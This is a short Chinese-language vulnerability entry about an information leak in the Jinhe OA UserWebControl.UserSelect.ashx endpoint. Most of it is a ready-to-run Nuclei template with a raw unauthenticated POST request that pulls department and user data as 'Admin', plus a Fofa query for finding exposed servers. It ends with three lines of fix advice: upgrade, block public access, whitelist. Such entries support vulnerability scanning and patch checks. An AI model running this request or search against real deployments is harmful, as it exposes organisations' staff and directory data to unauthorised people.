# 金和OA UserWebControl.UserSelect.ashx 信息泄露

## 漏洞描述

金和OA UserWebControl.UserSelect.AjaxServiceMethod,UserWebControl.UserSelect.ashx 信息泄露,攻击者可通过此漏洞获取敏感信息。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jinhe-oa-infoleak-UserWebControl\_UserSelect

info:

name: jinhe-oa-infoleak-UserWebControl\_UserSelect

author: m0be1

severity: medium

requests:

- raw:

- |-

POST /C6/ajax/UserWebControl.UserSelect.AjaxServiceMethod,UserWebControl.UserSelect.ashx?\_method=GetDepartDataByDeptID&\_session=no HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0

Accept: \*/\*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: text/plain;charset=UTF-8

Connection: close

strDeptID=

strUserId=Admin

strUserEsp=

strArchivesId=

deptIds=

IsShowChildrenDept=0

IsCascade=1

matchers:

- type: dsl

dsl:

- "contains\_all(body, 'childUsers') && status\_code==200"

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。